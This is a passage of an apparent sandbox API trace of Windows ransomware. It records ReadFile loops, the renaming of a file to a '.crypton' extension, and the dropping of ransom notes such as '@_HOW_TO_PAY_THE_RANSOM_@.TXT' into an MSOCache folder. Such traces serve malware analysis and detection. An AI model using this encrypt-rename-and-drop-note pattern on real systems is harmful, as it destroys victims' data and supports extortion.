lpNumberOfBytesRead=0x4aba5c*=0x2b8, lpOverlapped=0x0) returned 1 [0068.960] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2b0, lpOverlapped=0x0) returned 1 [0068.960] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2a8, lpOverlapped=0x0) returned 1 [0068.960] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2a0, lpOverlapped=0x0) returned 1 [0068.961] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x298, lpOverlapped=0x0) returned 1 [0068.961] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x290, lpOverlapped=0x0) returned 1 [0068.961] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x288, lpOverlapped=0x0) returned 1 [0068.961] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x280, lpOverlapped=0x0) returned 1 [0068.961] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x278, lpOverlapped=0x0) returned 1 [0068.961] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x270, lpOverlapped=0x0) returned 1 [0068.961] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x268, lpOverlapped=0x0) returned 1 [0068.961] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x260, lpOverlapped=0x0) returned 1 [0068.961] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x258, lpOverlapped=0x0) returned 1 [0068.961] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x250, lpOverlapped=0x0) returned 1 [0068.961] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x248, lpOverlapped=0x0) returned 1 [0068.962] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x240, lpOverlapped=0x0) returned 1 [0068.962] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x238, lpOverlapped=0x0) returned 1 [0068.962] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x230, lpOverlapped=0x0) returned 1 [0068.962] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x228, lpOverlapped=0x0) returned 1 [0068.962] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x220, lpOverlapped=0x0) returned 1 [0068.962] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x218, lpOverlapped=0x0) returned 1 [0068.962] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x210, lpOverlapped=0x0) returned 1 [0068.962] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x208, lpOverlapped=0x0) returned 1 [0068.962] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x200, lpOverlapped=0x0) returned 1 [0068.963] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1f8, lpOverlapped=0x0) returned 1 [0068.963] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1f0, lpOverlapped=0x0) returned 1 [0068.963] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1e8, lpOverlapped=0x0) returned 1 [0068.963] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1e0, lpOverlapped=0x0) returned 1 [0068.963] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1d8, lpOverlapped=0x0) returned 1 [0068.963] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1d0, lpOverlapped=0x0) returned 1 [0068.963] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1c8, lpOverlapped=0x0) returned 1 [0068.963] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1c0, lpOverlapped=0x0) returned 1 [0068.963] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1b8, lpOverlapped=0x0) returned 1 [0068.963] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1b0, lpOverlapped=0x0) returned 1 [0068.963] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1a8, lpOverlapped=0x0) returned 1 [0068.964] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1a0, lpOverlapped=0x0) returned 1 [0068.964] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x198, lpOverlapped=0x0) returned 1 [0068.964] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x190, lpOverlapped=0x0) returned 1 [0068.964] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x188, lpOverlapped=0x0) returned 1 [0068.964] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x180, lpOverlapped=0x0) returned 1 [0068.964] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x178, lpOverlapped=0x0) returned 1 [0068.964] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x170, lpOverlapped=0x0) returned 1 [0068.964] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x168, lpOverlapped=0x0) returned 1 [0068.964] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x160, lpOverlapped=0x0) returned 1 [0068.964] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x158, lpOverlapped=0x0) returned 1 [0068.964] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x150, lpOverlapped=0x0) returned 1 [0068.965] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x148, lpOverlapped=0x0) returned 1 [0068.965] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x140, lpOverlapped=0x0) returned 1 [0068.965] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x138, lpOverlapped=0x0) returned 1 [0068.965] AreFileApisANSI () returned 1 [0068.965] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0068.965] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x94) returned 0x536b88 [0068.965] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x536b88, cchWideChar=74 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 74 [0068.965] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 82 [0068.965] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa4) returned 0x54a680 [0068.965] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x54a680, cchWideChar=82 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.crypton") returned 82 [0068.965] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.crypton" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.crypton"), dwFlags=0x2) returned 1 [0068.966] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a680 | out: hHeap=0x510000) returned 1 [0068.966] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x536b88 | out: hHeap=0x510000) returned 1 [0068.966] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0068.966] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0068.966] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533de0 | out: hHeap=0x510000) returned 1 [0068.966] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533d90 | out: hHeap=0x510000) returned 1 [0068.966] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0068.966] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0068.966] AreFileApisANSI () returned 1 [0068.966] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0068.966] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x94) returned 0x536b88 [0068.966] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x536b88, cchWideChar=74 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 74 [0068.966] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0068.966] GetLastError () returned 0x2 [0068.966] AreFileApisANSI () returned 1 [0068.966] GetFullPathNameW (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x104, lpBuffer=0x4abaa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0068.966] GetLastError () returned 0x2 [0068.966] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0068.966] FindClose (in: hFindFile=0x549750 | out: hFindFile=0x549750) returned 1 [0068.966] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="{90140000-0018-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~2")) returned 1 [0068.967] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524400 [0068.967] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524448 [0068.967] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x5244d8 [0068.967] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524448 | out: hHeap=0x510000) returned 1 [0068.967] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5244d8 | out: hHeap=0x510000) returned 1 [0068.967] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524400 | out: hHeap=0x510000) returned 1 [0068.967] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524400 [0068.967] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x5a0) returned 0x543a38 [0068.967] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0068.967] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x77) returned 0x51ff00 [0068.967] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0068.967] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533d90 [0068.967] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533de0 [0068.967] AreFileApisANSI () returned 1 [0068.967] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 93 [0068.967] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xba) returned 0x54a680 [0068.967] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x54a680, cchWideChar=93 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\@_FILES_WERE_ENCRYPTED_@.TXT") returned 93 [0068.967] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\@_FILES_WERE_ENCRYPTED_@.TXT" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\@_files_were_encrypted_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4aba28, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0068.970] GetFileType (hFile=0x1f0) returned 0x1 [0068.970] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a680 | out: hHeap=0x510000) returned 1 [0068.970] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1000) returned 0x55de20 [0068.970] GetLastError () returned 0x0 [0068.971] AreFileApisANSI () returned 1 [0068.972] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 94 [0068.972] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xbc) returned 0x54a680 [0068.972] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x54a680, cchWideChar=94 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\@_HOW_TO_PAY_THE_RANSOM_@.TXT") returned 94 [0068.972] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\@_HOW_TO_PAY_THE_RANSOM_@.TXT" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\@_how_to_pay_the_ransom_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4aba28, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0068.972] GetFileType (hFile=0x1f0) returned 0x1 [0068.972] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a680 | out: hHeap=0x510000) returned 1 [0068.972] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1000) returned 0x55de20 [0068.972] GetLastError () returned 0x0 [0068.973] AreFileApisANSI () returned 1 [0068.973] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 93 [0068.973] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xba) returned 0x54a680 [0068.973] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x54a680, cchWideChar=93 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\@_HOW_TO_DECRYPT_FILES_@.TXT") returned 93 [0068.973] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\@_HOW_TO_DECRYPT_FILES_@.TXT" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\@_how_to_decrypt_files_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4aba28, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0068.974] GetFileType (hFile=0x1f0) returned 0x1 [0068.974] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a680 | out: hHeap=0x510000) returned 1 [0068.974] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1000) returned 0x55de20 [0068.974] GetLastError () returned 0x0 [0068.976] FindFirstFileA (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa677ca60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa677ca60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000439, cFileName=".", cAlternateFileName="")) returned 0x549750 [0068.976] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa677ca60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa677ca60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000439, cFileName="..", cAlternateFileName="")) returned 1 [0068.976] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa677ca60, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa677ca60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa677ca60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3d000439, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0068.976] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x55ae28 [0068.976] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x55ae90 [0068.976] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae90 | out: hHeap=0x510000) returned 1 [0068.976] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0068.976] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0068.976] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0068.976] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa677ca60, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa677ca60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa677ca60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3d000439, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0068.976] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x55ae28 [0068.976] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x55ae90 [0068.976] 